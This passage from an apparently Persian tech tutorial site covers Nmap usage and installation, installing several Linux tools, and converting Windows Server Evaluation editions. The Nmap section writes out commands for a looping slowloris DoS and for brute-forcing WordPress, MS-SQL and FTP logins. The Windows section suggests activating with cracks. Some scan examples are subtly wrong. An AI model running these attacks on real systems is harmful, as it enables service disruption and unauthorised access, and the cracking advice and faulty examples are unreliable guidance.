پیاپی ) را اسکن کنیم :nmap -p 1.1.1.1,2,3,4این دستور IP آدرس های مورد نظر زیر را اسکن می کند :1.1.1.1 , 1.1.1.2 , 1.1.1.3 , 1.1.1.4اسکن یک رنج IPهمچنین ما می توانیم از  Nmap  برای اسکن کردن کل یک رنج  IP استفاده کنیم . برای مثال :nmap -p 8.8.8.0/28دستور بالا 14 تا از  IP های متوالی را از  8.8.8.1  تا  8.8.8.14  اسکن می کند .این مثال می تواند جایگزین ساده از این رنج باشد :nmap 8.8.8.1-14همچنین ما می توانیم از کارکتر های اختصاصی برای اسکن کردن کل کلای  C رنج  IP  استفاده کنیم .برای مثال :nmap 8.8.8.*این دستور بالا 256 آیپی آدرس را از  8.8.8.1  تا   8.8.8.256 را اسکن می کند .هرموقع ما نیاز داشته باشیم که در اسکن کردن یک یا چند  IP را از یک رنج  IP آدرس حذف کنیم، میتوانیم از گزینه  " –exclude " استفاده کنیم. همانطور که در زیر میبینید :nmap -p 8.8.8.* --exclude 8.8.8.1اسکن کردن پورت های محبوببا استفاده از پارامتر  "—topports"  ودر امتداد آن با آوردن یک عدد خاص ما می توانیم X   (چند) پورت متداول هاست را اسکن کنیم . همانطور که در زیر میبینید :nmap --top-ports 20 192.168.1.106با جایگزین کردن "20" با عدد دلخواه . نتایج زیر به دست می آید :اسکن هاست ها و IP آدرس ها از طریق خواندن یک فایل متنیدر این مورد Nmap می تواند مفید واقع شود تا یک فایل متنی که حاوی هاست ها و  IP آدرس ها است را بخواند .خب ما فرض میکنیم یک فایل متنی به نام  list.txt که حاوی خط های زیر است را ایجاد کرده ایم :192.168.1.106cloudflare.commicrosoft.comsiraei.irپارامتر  "iL list.txt" به ما امکان خواندن فایل و اسکن کردن این هاست ها را می دهد :nmap -iL list.txtذخیره کردن نتایج اسکن Nmap در یک فایلاز سوی دیگر . در مثال زیر ما قادر به دیدن نتایج نیستیم . اما نتایج را درون یک فایل تکست ( text) اکسپورت یا ذخیره می کنیم :nmap –oN output.txt yahoo.comNmap قادر است تا خروجی را به صورت XML به خوبی اکسپورت کند . به مثال زیر توجه کنید :nmap –oX output.xml yahoo.com  غیر فعال کردن DNS Name Resolution (تفکیک پذیری DNS) اگر ما نیاز داشته باشیم کمی سرعت اسکن کردن مان را بالا ببریم . میتوتنیم انتخاب کنیم که DNS Name Resolution را برای تمامی اسکن ها غیر فعال کنیم . فقط با اضافه کردن پارامتر "-n"  .تفاوت را با DNS Name Resolution عادی را زمانی که فعال است مشاهده کنید :اسکن به همراه تشخیص سیستم عامل و سرویس با اجرا سریعاستفاده از پارامتر –A" قادر می سازد تا ما تشخیص سیستم عامل و سرویس را انجام بدهیم ( اجرا کنیم )  و همزمان با ترکیب آن با "-T4" برای اجرای سریعتر .  به مثال زیر توجه کنید :nmap –A –T4 cloudflare.comبرای این مثال ما خروجی زیر را میبینیم :تشخیص نسخه های سرویساین کار با استفاده از پارامتر های  -sV  قابل انجام است :Nmap –sV localhostهمانطور که مشاهده می کنید :اسکن کردن با استفاده از پروتوکل های TCP و UDPیکی از حقایقی که بیشتر در مورد Nmap دوست داریم این است که این نرم افزار با هر دو پروتوکل های TCP و UDP کار می کند . ما همچنین می توانیم مزیت های خوبی توسط اسکن کردن سرویس های UDP بیس بگیریم . حالا با هم چند مثال از این موضوع را ببینیم :اسکن کردن TCPNmap –sT 192.168.1.1اسکن UDP با استفاده از پارامتر "-sU"Nmap –sU localhostتشخیص ( کشف/ردیابی) با استفاده از Nmapیکی از بزرگترین ویژگی های Nmap که مدیران شبکه و سیستم ها کمتر در باره آن اطلاع دارند . چیزی است به نام  " موتور اسکریپت Nmap "  ((معروف به NSE )). این موتور اسکریپت به کاربران این امکان را می دهد که از مجموعه ای از اسکرسپت های از پیش تعیین شده استفاده کنند . یا خودشان با استفاده از زبان برنامه نویسی  "Lua" آن را بنویسند .استفاده از  NSE به منظور خودکار سازی سیستم و اسکن آسیب پذیری بسیار مهم است . برای مثال . اگر می خواهیم تست آسیب پذیری کامل را در برابر هدف یا تارگت خودمان اجرا کنیم . می توانیم از این پارامتر ها استفاده کنیم :nmap –Pn –script vuLn 192.168.1.105 مثال خروجی :همانطور که مشاهده می کنیم . در این آزمایش (تست) آسیب پذیری ما توانستیم یک CVE را تشخیص بدهیم .راه اندازی DOS توسط Nmapبه نظر میرسد ویژگی های Nmap تمام نشدنی است . و به لطف NSE حتی به ما امکان می دهد تا حملات DOS را علیه شبکه خودمان آزمایش کنیم.در مثال قبلی ما متوجه شدیم که هاست یا میزبان ما در برابر حمله  slowloris آسیب پذیر است . اکنون ما سعی خواهیم کرد تا با راه اندازی یک حمله DOS یا همان (DOS Attack) در یک حلقه یا لوپ برای همیشه از این آسیب پذیری سوء استفاده کنیم :nmap 192.168.1.105 -max-parallelism 800 -Pn --script http-slowloris --script-args http-slowloris.runforever=trueراه اندازی حملات بروت فورسNSE واقعا جذابه ! . این برنامه شامل اسکریپت هایی است برای همه چیز هایی که ما میتوانیم تصور کنیم .سه مثال بعدی را درباره ی BFA یا همان Brute Force Attack در برابر WordPress و MSSQL  و  FTP Server ببینیم  :وردپرس :nmap -sV --script http-wordpress-brute --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com, http-wordpress-brute.threads=3,brute.firstonly=true' 192.168.1.105حمله بروت فورس در برابر MS-SQL  :nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt 192.168.1.105حمله بروت فورس  FTP  :nmap --script ftp-brute -p 21 192.168.1.105شناسایی کردن بدافزار های مخرب بر روی هاست ها از راه دورNmap  با اجرا کردن تست ها و آزماش های وسیع و گسترده بر روی تعداد اندکی از سیستم عامل های محبوب مانند بر روی  Identd . Proftpd  . Vsftpd  . IRC  . SMB  و SMTP . قادر است تا بد افزار ها و بک دور هر را شناسایی کند . همچنین دارای یک ماژول برای بررسی علائم بدافزار های محبوب در سرویس های از راه دور و همچنین ادغام پایگاه داده های ایمن  Google و  VirusTotal است .اسکن بدافزار های رایج با استفاده از دستور زیر امکان پذیر است :nmap -sV --script=http-malware-host 192.168.1.105یا با استفاده از "بدافزارچک" گوگل :nmap -p80 --script http-google-malware infectedsite.comمثال خروجی :Nmap یکی از کامل ترین و دقیق ترین پورت اسکنر هایی است که امروزه توسط متخصصان  infosec مورد استفاده قرار میگیرد .با آن میتوانیم وظایف یک پورت اسکنر ساده را انجام بدهیم یا با استفاده از آن موتور اسکریپتی قدرتمندی برای راه اندازی حملات DOS انجام بدهیم، بد افزار شناسایی کنیم یا تست بروت فورس را روی سرور های دور یا لوکال انجام بدهیم .نتیجه گیری:در این مقاله دستورات مهم و کاربردی Nmap را برای شما تشریح کردیم. لطفا در صورتی که سوال یا مشکلی دارید با ارسال کامنت آن را بیان کنید.

ادامه مطلب
آموزش نصب Nmap

آموزش نصب Nmap

آموزش نصب NmapNmap مخفف عبارت Network Mapper  است . یک اسکنر رایگان و open source است که  توسط Gordon lyon یا Fyodor vaskovich ساخته شده است .در مقاله قبل درمورد اینکه Nmap چیست و چه قابلیت هایی دارد توضیحاتی خدمت عزیزان داده شد. در این مقاله آموزش نصب Nmap در اوبونتو و ویندوز و centos توضیح داده شده است.آموزش نصب Nmap در اوبونتودستورالعمل های زیر را برای نصب Nmap در اوبونتو انجام دهید :برای به روزرسانی مخازن بسته و دریافت آخرین اطلاعات بسته ، دستور Update را اجرا کنیدsudo apt-get update -yدستور نصب را با پارامتر  -y را اجرا کنید تا بسته ها و دپندنسی ها (وابستگی ها) به سرعت نصب شوند.sudo apt-get install -y nmap(نکته : در مراحل نصب اگر از شما سوالی پرسیده شد . y  را تایپ کنید .)تایید کردن نسخه Nmap  نصب شده:nmap --versionکه برای تایید نسخه Nmap ما تقریبا خروجی زیر را داریم :برای نصب این ابزار در نسخه های دیگر لینوکس مانند CentOS  هم موارد گفته شده تقریبا به همین شکل است :آموزش نصب Nmap در CentOS1 - وارد محیط ترمینال centos  خود شوید:2- برای نصب دستور زیر را وارد کنید :yum install nmap(نکته : در مراحل نصب اگر از شما سوالی پرسیده شد . y  را تایپ کنید .)3 – تایید نسخه Nmap :nmap --versionآموزش نصب Nmap در ویندوزابزار Nmap  به طور رسمی توسط ویندوز 7 و نسخه های جدیدتر پشتیبانی می شود. با این حال در لینوکس از امکانات بیشتری برخوردار هستیم .در ویندوز محدودیت هایی داریم که در اینجا ما اشاره می کنیم :نمیتوانیم ماشین خودمان را توسط خودمان اسکن کنیم ،( با استفاده از IP  آدرس لوپ بک  127.0.0.1 یا هر IP آدرس ثبت شده دیگر ) .برای اسکن پکت های خام فقط اینترفیس های اترنت پشتیبانی میشوند .بعضی از اسکن ها ( مانند اسکن کردن اتصال) از لینوکس کندتر عمل می کنند .مراحل نصب در ویندوز1-به لینک زیر میرویم تا آخرین نسخه از این ابزار پرقدرت را دانلود کنیم:https://nmap.org/download.html2-فایل exe دانلود شده را در ویندوز اجرا کرده و لایسنس آن را قبول می کنیم :3-در عکس زیر اجزاء و کامپوننت Zenmap GUI  (نام ویندوزی آن) را انتخاب میکنیم.4-آدرس محل نصب را در این قسمت وارد میکنیم :5-   مراحل نصب پس از دقایقی پایان میپذیرد .نتیجه گیریدر این مقاله آموزش نصب Nmap در اوبونتو ، Centos و ویندوز را برای شما شرح دادیم. در آموزش بعد دستورات Nmap را برای شما شرح خواهیم داد.

ادامه مطلب
آموزش نصب Postman در اوبونتو 20.04 Ubuntu

آموزش نصب Postman در اوبونتو 20.04 Ubuntu

آموزش نصب Postman در اوبونتو 20.04 UbuntuPostman یک پلتفرم توسعه API است که به شما کمک می کند تا API های خود را در هر مرحله از توسعه ، از طراحی و آزمایش ، تا انتشار اسناد و نظارت های API مدیریت کنید. Postman به عنوان افزونه مرورگر Chrome شروع به کار کرد و به سرعت یکی از ابزارهای کاربردی API که توسط توسعه دهندگان در سراسر جهان استفاده می شود ، به سرعت تبدیل شد. Postman به عنوان یک برنامه (ساخته شده بر روی Electron) برای همه سیستم عاملهای اصلی از جمله macOS ، Linux و Windows در دسترس است. در این مقاله آموزش نصب Postman در اوبونتو 20.04 Ubuntu را به شما آموزش داده ایم.آموزش نصب Postmanساده ترین راه نصب Postman در Ubuntu 18.04 با استفاده از سیستم پکیجینگ snappy است. Snaps بسته های نرم افزاری مخصوص به خود است که شامل تمام وابستگی های باینری است که برای اجرای برنامه مورد نیاز است. بسته های اسنپ را می توان از طریق خط فرمان یا از طریق برنامه نرم افزار اوبونتو نصب کرد.بسته Postman snap توسط توسعه دهندگان Postman توزیع و نگهداری می شود.برای نصب Postman snap ، ترمینال خود را باز کنید ( Ctrl+Alt+T) و دستور زیر را به عنوان کاربر با امتیازات sudo اجرا کنید :sudo snap install postmanبسته به سرعت اتصال شما ، بارگیری ممکن است مدتی طول بکشد. با موفقیت ، خروجی زیر نمایش داده می شود:postman 7.30.1 from Postman, Inc. (postman-inc✓) installedبه روزرسانی و امن سازی بسته های اسنپ آسان است. هر زمان که نسخه جدیدی منتشر شد ، بسته Postman به صورت خودکار در پس زمینه به روز می شود.از طرف دیگر می توانید Postman را با استفاده از مرکز نرم افزار اوبونتو نصب کنید. به سادگی Postman را جستجو کنید و روی نصب کلیک کنید.استفاده از Postmanدر نوار Activities search عبارت "Postman" را تایپ کرده و بر روی آیکون کلیک کنید تا برنامه راه اندازی شود.هنگامی که برای اولین بار Postman را شروع می کنید ، پنجره ای مانند زیر ظاهر می شود که از شما می خواهد وارد شوید یا یک حساب کاربری جدید ایجاد کنید:ایجاد یک حساب کاربری به شما امکان می دهد تا کارهای خود را در محیط های کاری سازماندهی کنید ، نسخه پشتیبان تهیه کنید و داده های خود را در چندین دستگاه همگام سازی کنید. اگر نمی خواهید وارد شوید ، روی "Skip signing" کلیک کنید و مستقیماً به برنامه بروید.برای نشان دادن نحوه کار Postman ، یک درخواست Get ساده را به online REST API ارسال خواهیم کردو یک پاسخ JSON حاوی لیست کاربران دریافت می کنیم.یک برگه جدید را باز کنید ، https://jsonplaceholder.typicode.com/usersوارد کنید، نوع درخواست را GET بگذارید و دکمه ارسال را کلیک کنید. در صورت موفقیت ، پاسخ یک JSON object را که شامل تعداد کاربران است ، برمی گرداند.نتیجهما به شما آموزش نصب Postman در اوبونتو 20.04 Ubuntu را توضیح دادیم. اکنون می توانید ابزار جدید API خود را کشف کرده و شروع به کار روی پروژه های خود کنید. برای دیدن آموزش های این نرم افزار به مرکز آموزش postman مراجعه فرماید.

ادامه مطلب
Nmap چیست؟

Nmap چیست؟

Nmap چیست؟Nmap چیست؟ Nmap مخفف عبارت Network Mapper  است . یک اسکنر رایگان و open source است که  توسط Gordon lyon یا Fyodor vaskovich  ساخته شده است .Nmap برای پیدا کردن  Host (هاست) ها و خدمات و سرویس های شبکه کامپیوتری با فرستادن پکت و آنالیز پاسخ آن ها به کار گرفته می شود .Nmap خدمات زیادی برای کاوش و تفحص در شبکه کامپیوتری را ارائه می دهد ، که شامل کشف host ها و سرویس ها و تشخیص سیستم عامل آن .این اسکریپت امکانات زیادی را ارائه میدهد مانند : کشف سرویس ، کشف آسیب پذیری ، و  امکانات بسیار زیاد دیگر . Nmap می تواند خودش را با تاخیر و تراکم و شلوغی در زمان اسکن وفق دهد .Nmap بر روی  Linux ( لینوکس ) شروع شد و کم کم به ویندوز و مک و BSD منتقل شد . این اسکنر بیشترین محبوبیتش را در لینوکس دارد سپس پس از آن در ویندوز.ویژگی های Nmap شامل موارد زیر است :کشف میزباناسکن کردن پورتتشخیص نسخهتشخیص سیستم عاملتعامل به صورت اسکریپتی با هدفکشف میزبان ( هاست)کشف میزبان ( هاست ) :شناسایی میزبان ها در یک شبکه . برای مثال :لیست کردن هاست هایی که به پروتوکل TCP یا ICMP جواب می دهند یا پورت باز خاصی دارند .اسکن کردن پورت ( پورت اسکنینگ ) :شمردن یکا یک ( تک تک ) پورت های باز هاست ( میزبان ) هدف .تشخیص نسخه :تحقیق کردن سرویس های یک شبکه بر روی دستگاه های از راه دور برای تعیین کردن نام نرم افزار و شماره نسخه آن .تشخیص سیستم عامل :تحقیق کردن در یک سیستم عامل و مشخصات سخت افزاری دستگاه های شبکه .تعامل به صورت اسکریپتی با هدف :می توان با اسفاده از موتور اسکریپتی Nmap و زبان برنامه نویسی لوا ( Lua ) پرس و جو های ( Search ) اختصاصی ساخت .علاوه بر اطلاعات بالا  Nmap می تواند خدماتی نظیر برگرداندن نام  DNS ای و اطلاعات قطعات و آدرس MAC را ارائه داده و فراهم کند .استفاده های معمول از Nmap  :رسیدگی ( حسابرسی ) مثبت یک دستگاه یا فایروال توسط شناسایی ارتباطات ( اتصالات ) که می تواند ساخته شده باشد یا از طریق آن عبور کند .شناسایی پورت های باز هاست هدف در آماده سازی برای رسیدگی کردن به آن .فهرست سازی شبکه . نقشه برداری از شبکه . نگه داری و مدیریت دارایی ها و منابع شبکه .رسیدگی کردن امنیت از یک شبکه توسط تشخیص هویت و شناسایی سرویس های جدید آن .ایجاد ترافیک برای هاست ها در یک شبکه . آنالیز و اندازه گیری زمان پاسخ در آن شبکه .یافتن و بهره برداری از آسیب پذیری ها در یک شبکه .پرس و جو های  DNS ای و پرس و جو های ساب دامین .در پست های بعد آموزش نصب Nmap و استفاده از Nmap را برای شما آموزش خواهیم داد.

ادامه مطلب
آموزش نصب Sublime Text 3 در اوبونتو 20.04 Ubuntu

آموزش نصب Sublime Text 3 در اوبونتو 20.04 Ubuntu

آموزش نصب Sublime Text 3 در اوبونتو 20.04 UbuntuSublime Text یک ویرایشگر متن و سورس کد محبوب برای توسعه وب و نرم افزار است. بسیار سریع است ، و بسیاری از ویژگی های قدرتمند را نمایش می دهد. این نرم افزار را می توان با نصب افزونه های جدید و ایجاد تنظیمات سفارشی ارتقا و سفارشی سازی کرد. در این مقاله آموزش نصب Sublime Text 3 در اوبونتو 20.04 Ubuntu توضیح داده شده است. نصب Sublime در اوبونتو کاملاً ساده است. ما مخزن Sublime را فعال می کنیم ، کلید مخزن GPG را وارد می کنیم و ویرایشگر را نصب می کنیم. همین دستورالعملها باید روی هر توزیع دیگری مبتنی بر Debian کار کنند.Sublime Text یک برنامه اختصاصی است. می توان آن را به صورت رایگان دانلود و از نسخه evaluation استفاده کرد. با این وجود ، اگر دائماً از آن استفاده می کنید ، باید لایسنس خریداری کنید. هیچ محدودیت زمانی اجباری برای evaluation وجود ندارد.نصب Sublime Text 3 در اوبونتو 20.04 Ubuntuمراحل نصب Sublime Text 3 را در اوبونتو به عنوان root یا کاربر دارای امتیازات sudo انجام دهید :وابستگی های لازم برای اضافه کردن یک مخزن جدید از طریق HTTPS را نصب کنید:sudo apt updatesudo apt install dirmngr gnupg apt-transport-https ca-certificates software-properties-commonکلید GPG مخزن را با وارد کردن به لیست مخزن نرم افزار سیستم خود وارد کنید:curl -fsSL https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -sudo add-apt-repository "deb https://download.sublimetext.com/ apt/stable/"پس از فعال کردن مخزن ، Sublime Text 3 را با تایپ کردن دستور زیر نصب کنید:sudo apt install sublime-textبه همین ترتیب ، شما Sublime Text 3 را روی دسک تاپ Ubuntu 20.04 خود نصب کرده اید ، و می توانید شروع به استفاده از آن کنید.هنگامی که نسخه جدیدی منتشر شد ، می توانید بسته Sublime را از طریق ابزار standard Software Update tool به روز کنید.شروع Sublime Textمی توانید ویرایشگر Sublime Text را از طریق ترمینال با تایپ کردن sublیا کلیک بر روی نماد Activities -> Sublimeشروع کنید:هنگامی که Sublime Text را برای اولین بار راه اندازی می کنید ، پنجرهای مانند پنجره زیر ظاهر می شود:نتیجه گیریما به شما نشان داده ایم که چگونه Sublime Text را در اوبونتو Ubuntu 20.04 نصب کنید. قدم بعدی شما باید Sublime Text Package Control نصب و شروع به شخصی سازی ویرایشگر جدید خود کنید.برای کسب اطلاعات بیشتر در مورد Sublime Text ، به صفحه رسمی اسناد Sublime Text مراجعه کنید.

ادامه مطلب
آموزش اکتیو کردن Windows Server 2016/2019 Evaluation

آموزش اکتیو کردن Windows Server 2016/2019 Evaluation

برای اکتیو کردن Windows Server 2016/2019 Evaluation باید ابتدا این نسخه را به نسخه هایی که قابلیت اکتیو شدن با نرم افزار های موجود را دارند تبدیل کنید. در ادامه روش تبدیل Windows Server 2016/2019 Evaluation به فول ورژن را برای شما توضیح خواهیم داد.آموزش تبدیل Windows Server 2016 Evaluation به فول ورژنبرای ارتقاء سرور ویندوز Evaluation به نسخه کامل ، از طریق خط فرمان، از DISM استفاده می شود. به عنوان مثال ، برای به روزرسانی نسخه Eval به نسخه Retail از Windows Server 2016 Standard ، از این دستور استفاده کنید:dism /online /set-edition:ServerStandard /productkey:WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY /accepteulaاگر به جای کلید عمومی GVLK در دستور DISM ، کلید retail یا MAK استفاده کنید ، خطای زیر ظاهر می شود:Error 1168The specified product key could not be validated.Check that the specified product key is valid and that it matches the target edition.برخی از کاربران اعلام کرده اند که گاهی اوقات وقتی شما فرمانDISM /set-edition را اجرا می کنید ، روی 10٪ هنگ می کند. در این حالت ، توصیه می کنیم Software Protection Service در قسمت service ها متوقف کرده و دسترسی ویندوز سرور به اینترنت را غیرفعال کنید.توجه داشته باشید . برای به روزرسانی نسخه Windows Server 2016 Eval به Datacenter ، باید از کلید GVLK دیگری استفاده کنید. این دستور به شرح زیر خواهد بود:DISM /online /Set-Edition:ServerDatacenter /ProductKey:CB7KF-BWN84-R7R2Y-793K2-8XDDG /AcceptEulaبعد از اجرای این دستور ، منتظر پیام Command completed successfully باشید (در بعضی موارد ممکن است چندین ساعت طول بکشد !!!). بعد از آن سرور خود را مجدداً راه اندازی کنید و مطمئن شوید که نسخه کامل استاندارد نصب شده است.برای اینکار دستور زیر را در Windows PowerShell وارد کنید.winver.exeآموزش تبدیل Windows Server 2019 Evaluation به فول ورژنبرای تبدیل Windows Server 2019 EVAL به یک نسخه کامل ، باید از کلیدهای GVLK (KMS) برای ویندوز سرور 2019 استفاده کنید . می توانید نسخه Windows Server 2019 edition را به همین روش ارتقا دهید.تبدیل Server 2019 Evaluation به Windows Server 2019 Standard:برای تبدیل دستور زیر را وارد کنید:dism /online /set-edition:ServerStandard /productkey:N69G4-B89J2-4G8F4-WWYCC-J464C /accepteulaتبدیل Windows Server 2019 Datacenter به Windows Server 2019 Evaluation :برای تبدیل دستور زیر را وارد کنید:dism /online /set-edition:ServerDatacenter /productkey:WMDGN-G9PQG-XVVXX-R3X43-63DFG /accepteulaبه این ترتیب نسخه ویندوز سرور شما تغییر کرده و میتوانید با استفاده از نرم افزار ها و کرکر های موجود ویندوز خود را اکتیو کنید.برای مشاهده آموزش اکتیو کردن ویندوز سرور کلیک کنید

ادامه مطلب
آموزش نصب Gitea در CentOS 8

آموزش نصب Gitea در CentOS 8

آموزش نصب Gitea در CentOS 8Gitea یک سرور git اوپن سورس است که در Go نوشته شده است. این برنامه با یک ویرایشگر پرونده مخزن ، پیگیری مسئله پروژه ، مدیریت کاربران ، اعلان ها ، ویکی داخلی و موارد دیگر ارائه می شود. Gitea یک برنامه سبک است و قابل نصب بر روی سیستم های کم قدرت تر است. اگر به دنبال جایگزینی برای Gitlab هستید باید Gitea را امتحان کنید. این مقاله آموزش نصب و پیکربندی Gitea را در CentOS 8 به شما نشان می دهد.پیش نیازهاGitea از SQLite ، PostgreSQL و MySQL / MariaDB به عنوان پسوند پایگاه داده پشتیبانی می کند.ما از SQLite استفاده خواهیم کرد. این یک پایگاه داده سبک است که داده ها را در یک پرونده ذخیره می کند. اگر SQLite روی دستگاه CentOS شما نصب نشده است می توانید با اجرای دستور زیر به عنوان کاربر sudo آن را نصب کنید :sudo dnf install sqliteما فرض می کنیم SELinux غیرفعال است یا در حالت مجاز قرار دارد.نصب GiteaGitea را می توان از مبدأ ، باینری و به عنوان پکیج نصب کرد. همچنین می تواند به عنوان ایمیج Docker قرار داده شود. ما Gitea را با استفاده از thr binary نصب خواهیم کرد.نصب Gitاولین قدم نصب Git در CentOS خود است:sudo dnf install gitبا نمایش نسخه Git ، نصب را تأیید کنید:git --versionخروجی:git version 2.18.4یک کاربر Git ایجاد کنیدبرای اجرای برنامه Gitea یک کاربر سیستم جدید ایجاد کنید :sudo useradd \ --system \ --shell /bin/bash \ --comment 'Git Version Control' \ --create-home \ --home /home/git \ gitدستور کاربر و گروه جدیدی به نام git ایجاد می کند و فهرست خانه را بر روی آن قرار می دهد /home/git.دانلود Gitea binaryآخرین باینری گیتا را می توانید از صفحه بارگیری Gitea بارگیری کنید . حتماً باینری مناسب برای معماری خود بارگیری کنید.در زمان نوشتن ، آخرین نسخه 1.12.3 است. اگر نسخه جدید در دسترس است ، VERSION را در دستور زیر تغییر دهید.از wgetبرای دانلود باینری Gitea در دایرکتوری /tmp استفاده کنید:VERSION=1.12.3sudo wget -O /tmp/gitea https://dl.gitea.io/gitea/${VERSION}/gitea-${VERSION}-linux-amd64می توانید باینری را از هر مکانی اجرا کنید. ما کنوانسیون را دنبال می کنیم و باینری را به دایرکتوری /usr/local/bin منتقل می کنیم:sudo mv /tmp/gitea /usr/local/binباینری را اجرایی کنید:sudo chmod +x /usr/local/bin/giteaدستورات زیر دایرکتوری های لازم را ایجاد کرده و مجوزها و مالکیت لازم را تعیین می کنند :sudo mkdir -p /var/lib/gitea/{custom,data,indexers,public,log}sudo chown git: /var/lib/gitea/{data,indexers,log}sudo chmod 750 /var/lib/gitea/{data,indexers,log}sudo mkdir /etc/giteasudo chown root:git /etc/giteasudo chmod 770 /etc/giteaساختار دایرکتوری بالا توسط اسناد رسمی Gitea توصیه می شود.مجوزهای دایرکتوری /etc/gitea روی 770 ست شده است به گونه ای که installation wizard می تواند پرونده های پیکربندی را ایجاد کند. پس از اتمام نصب ، مجوزهای محدودتری را تنظیم خواهیم کرد.ایجاد یک فایل SystemdGitea یک فایل Systemd را ارائه می دهد که برای مطابقت با تنظیم ما پیکربندی شده است.با تایپ کردن دستور زیر پرونده را به دایرکتوری/etc/systemd/system/ منتقل کنید:sudo wget https://raw.githubusercontent.com/go-gitea/gitea/master/contrib/systemd/gitea.service -P /etc/systemd/system/پس از اتمام ، سرویس Gitea را فعال و شروع کنید:sudo systemctl daemon-reloadsudo systemctl enable --now giteaتأیید کنید که این سرویس با موفقیت شروع شده است:sudo systemctl status gitea● gitea.service - Gitea (Git with a cup of tea) Loaded: loaded (/etc/systemd/system/gitea.service; enabled; vendor preset: enabled) Active: active (running) since Sat 2020-01-04 21:27:23 UTC; 3s ago Main PID: 14804 (gitea) Tasks: 9 (limit: 1152) CGroup: /system.slice/gitea.service └─14804 /usr/local/bin/gitea web --config /etc/gitea/app.ini...پیکربندی Giteaاکنون که Gitea راه اندازی شده است ، زمان آن رسیده است که نصب را از طریق رابط وب نهایی کنید.به طور پیش فرض ، Gitea در پورت 3000 فراخوانی میشود . برای فعال کردن دسترسی به رابط وب Gitea باید دیوار آتش خود را پیکربندی کنید :sudo firewall-cmd --permanent --zone=public --add-port=3000/tcpsudo firewall-cmd --reloadمرورگر خود را باز کنید ، و ادرس http://YOUR_DOMAIN_IR_IP:3000/installرا وارد کنید. صفحه تنظیمات اولیه ظاهر می شود:فیلد های مورد نیاز را به شرح زیر پر کنید:Database Settings:Database Type: SQLite3Path: از یک مسیر مطلق استفاده کنید, /var/lib/gitea/data/gitea.dbApplication General Settings:Site Title - عنوان سایت را بنویسید.Repository Root Path - پیش فرض را رها کنید /home/git/gitea-repositories.Git LFS Root Path - پیش فرض را رها کنید /var/lib/gitea/data/lfs.Run As Username - gitSSH Server Domain - دامین یا آی پی آدرس را وارد کنید.SSH Port - 22, پورت ssh را وارد کنیدGitea HTTP Listen Port - 3000Gitea Base URL - آدرس دامین یا آی پی را وارد کنید.Log Path - پیش فرض را رها کنید /var/lib/gitea/logبعداً می توانید تنظیمات را با ویرایش پرونده پیکربندی Gitea تغییر دهید.پس از اتمام ، دکمه "نصب گیتا" را بزنید. نصب فوری است. پس از اتمام شما به صفحه ورود هدایت می شوید.روی پیوند "Install Gitea" کلیک کنید. اولین کاربر ثبت نام شده به طور خودکار به گروه Admin اضافه می شود.برای ایمن تر کردن نصب ، مجوزهای فایل پیکربندی Gitea را فقط به read-only تغییر دهید :sudo chmod 750 /etc/giteasudo chmod 640 /etc/gitea/app.iniGitea در دستگاه CentOS شما نصب شده است.پیکربندی اعلان های ایمیلبرای ارسال نامه الکترونیکی اعلان ، می توانید Postfix را نصب کنید یا از یک سرویس مانند SendGrid ، MailChimp ، MailGun یا SES استفاده کنید.برای فعال کردن اعلان های ایمیل ، پرونده پیکربندی را باز کرده و خطوط زیر را ویرایش کنید:sudo nano /etc/gitea/app.ini[mailer]ENABLED = trueHOST = SMTP_SERVER:SMTP_PORTFROM = SENDER_EMAILUSER = SMTP_USERPASSWD = YOUR_SMTP_PASSWORDاطمینان حاصل کنید که از اطلاعات صحیح سرور SMTP استفاده می کنید.هر بار که فایلapp.ini را ویرایش می کنید ، برای اعمال تغییرات ، سرویس Gitea را مجدداً راه اندازی کنید:sudo systemctl restart giteaبرای تأیید تنظیمات و ارسال یک ایمیل آزمایشی ، به Gitea وارد شوید و به: Site Administration > Configuration > SMTP Mailer Configuration بروید.به روزرسانی Giteaارتقاء به آخرین نسخه Gitea یک کار ساده است. شما فقط باید باینری را بارگیری و جایگزین کنید.سرویس Gitea را متوقف کنید:sudo systemctl stop giteaآخرین باینری Gitea را بارگیری کرده و آن را به فهرست /usr/local/bin منتقل کنید :VERSION=<THE_LATEST_GITEA_VERSION>wget -O /tmp/gitea https://dl.gitea.io/gitea/${VERSION}/gitea-${VERSION}-linux-amd64sudo mv /tmp/gitea /usr/local/binباینری را اجرایی کنید:sudo chmod +x /usr/local/bin/giteaسرویس Gitea را مجدداً راه اندازی کنید:sudo systemctl restart giteaنتیجه گیریما به شما نشان داده ایم كه چگونه Gitea را در CentOS 8 نصب كنید. هم اکنون می توانید به صفحه اسناد Gitea مراجعه كنید و یاد بگیرید كه چگونه نصب خود را پیكربندی كنید و اولین پروژه خود را ایجاد كنید.

ادامه مطلب
آموزش نصب Nagios در اوبونتو 20.04 Ubuntu

آموزش نصب Nagios در اوبونتو 20.04 Ubuntu

آموزش نصب Nagios در اوبونتو 20.04 UbuntuNagios یک سیستم مانیتورینگ اوپن سورس و محبوب است. Nagios فهرستی از کل زیرساخت های فناوری اطلاعات شما را نگه می دارد و اطمینان می دهد که شبکه ها ، سرورها ، برنامه ها ، سرویس ها و فرایندهای شما در حال کار هستند. در صورت عدم موفقیت یا عملکرد پایین تر از حد ، Nagios هشدارهای اعلان را از طریق روشهای مختلف ارسال می کند. در این مقاله آموزش نصب Nagios در اوبونتو 20.04 Ubuntu توضیح داده شده است.نصب Nagios در اوبونتو 20.04 UbuntuNagios 4 در مخزن نرم افزار اوبونتو موجود است. نصب بسیار ساده است ، فقط دستورات زیر را به عنوان کاربر روت یا کاربر دارای امتیازات sudo اجرا کنید :sudo apt updatesudo apt install nagios4 nagios-plugins-contrib nagios-nrpe-pluginدستور فوق مجموعه ای از بسته ها از جمله Nagios Core ، Nagios Plugins و Apache را نصب می کند.پرونده پیکربندی Apache که با Nagios ارسال می شود به ماژول های mod_authz_groupfileو mod_auth_digest بستگی دارد که به طور پیش فرض فعال نیستند. ماژولmod_authz_groupfile برای اجازه یا عدم دسترسی به تأیید هویت توسط عضویت گروه استفاده می شود و ماژول mod_authz_groupfile تأیید اعتبار MD5 را امکان پذیر می کند.دستورالعمل های زیر را اجرا کنید تا هر دو ماژول فعال شوند:sudo a2enmod authz_groupfile auth_digestبه طور پیش فرض پیکربندی Apache فقط از localhost و IP خصوصی اجازه می دهد تا به Nagios دسترسی پیدا کنید. پیکربندی را تغییر می دهیم تا فقط 